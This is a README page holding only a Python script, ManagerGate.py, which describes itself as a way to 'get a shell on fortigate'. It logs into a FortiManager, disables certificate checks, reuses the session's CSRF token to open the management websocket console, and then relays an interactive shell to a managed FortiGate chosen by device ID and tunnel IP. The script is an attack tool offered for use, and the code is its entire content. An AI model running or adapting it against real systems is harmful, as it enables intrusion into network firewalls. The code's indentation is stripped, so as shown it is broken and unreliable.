README.md
Rendering markdown...
# !/usr/bin/python3
import argparse
import asyncio
import cmd
import json
import os
import urllib.parse
from concurrent.futures import ThreadPoolExecutor
from urllib3.exceptions import InsecureRequestWarning
import requests
import aiohttp
import websocket
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
CONSOLE_ID=-1
MTDID = 0
parser = argparse.ArgumentParser(prog='ManagerGate.py', description='get a shell on fortigate')
parser.add_argument('-H', '--host', help='host of the fortimanager', required=True)
parser.add_argument('-u', '--user', help='user to connect with to the fortimanager', required=True)
parser.add_argument('-p', '--password', help='password to connect to the fortimanager', required=True)
parser.add_argument('-d', '--deviceid', help='device oid to get a shell on')
parser.add_argument('-i', '--tunnelip', help='tunnel ip of the fortigate')
parser.add_argument('-l', '--local', help='local connect to fortimanager', action='store_true')
parser.add_argument('-x', '--proxy', help='proxy to reach fortimanger')
parser.add_argument('-U', '--gu', help='user to connect with to the fortigate', required=True)
parser.add_argument('-v', '--verbose')
args = parser.parse_args()
loop = asyncio.get_event_loop()
proxy = None
if args.proxy:
proxy = args.proxy
async def login(client):
login_request = {
'url': '/gui/userauth',
'method': 'login',
'params': {
'username': args.user,
'secretkey': args.password,
'logintype': 0
}
}
async with client.post(f'https://{args.host}/cgi-bin/module/flatui_auth', json=login_request, proxy=proxy, verify_ssl=False) as resp:
print(resp.status)
return resp.status == 200
async def keep_alive(ws):
await ws.send_str('--heartbeat--')
async for msg in ws:
if msg.data == '--heartbeat--':
await ws.send_str('--heartbeat--')
continue
elif '"msg": "notify"' in msg.data:
js=json.loads(msg.data)
print(js['fields']['content'].replace('\\r', ''))
else:
continue
print(msg.data)
async def handle_write(ws,CONSOLE_ID):
mtd = 1
while True:
data = await ainput('>')
data += '\r'
jsdata = {
'msg': 'method',
'method': 'console',
'params': {
'action': 'xmit',
'consoleId': CONSOLE_ID,
'content': data
},
'id': 'mtd' + str(mtd)
}
mtd += 1
await ws.send_json(jsdata)
async def ainput(prompt: str=''):
with ThreadPoolExecutor(1, 'ainput') as executor:
return (await asyncio.get_event_loop().run_in_executor(executor, input, prompt)).rstrip()
async def main():
jar = aiohttp.CookieJar(unsafe=True)
async with aiohttp.ClientSession(cookie_jar=jar) as client:
if not await login(client):
print('[E] login failure')
exit(1)
print('Fortimanager login OK')
csrf_token = next(x.value for x in client.cookie_jar if x.key == 'HTTP_CSRF_TOKEN')
async with client.ws_connect(
f'wss://{args.host}/ws3?csrf_token={urllib.parse.quote(csrf_token,safe="")}',
proxy=proxy,
verify_ssl=False,
headers={
'Sec-WebSocket-Protocol': urllib.parse.quote(csrf_token,safe=''),
'Connection': 'keep-alive, Upgrade'}
) as ws:
if args.local:
await ws.send_str(
f'{{"msg": "method", "method": "console", "params": {{"action": "connect", "consoleId": -1, "user":"admin", "type": "local","cols": 137, "rows": 40}}, "id": "mtd-1"}}')
else:
await ws.send_str(
f'{{"msg": "method", "method": "console", "params": {{"action": "connect", "consoleId": -1, "type": "remote", "ipaddr": "{args.tunnelip}", "port": 22,"user": "{args.gu}", "oid": "{args.deviceid}", "cols": 137, "rows": 40}}, "id": "mtd-1"}}')
connection = await ws.receive_json()
CONSOLE_ID = connection['result']['consoleId']
keepalive = asyncio.create_task(keep_alive(ws))
promt_task = asyncio.create_task(handle_write(ws,CONSOLE_ID))
await asyncio.gather(promt_task, keepalive)
loop.run_until_complete(main())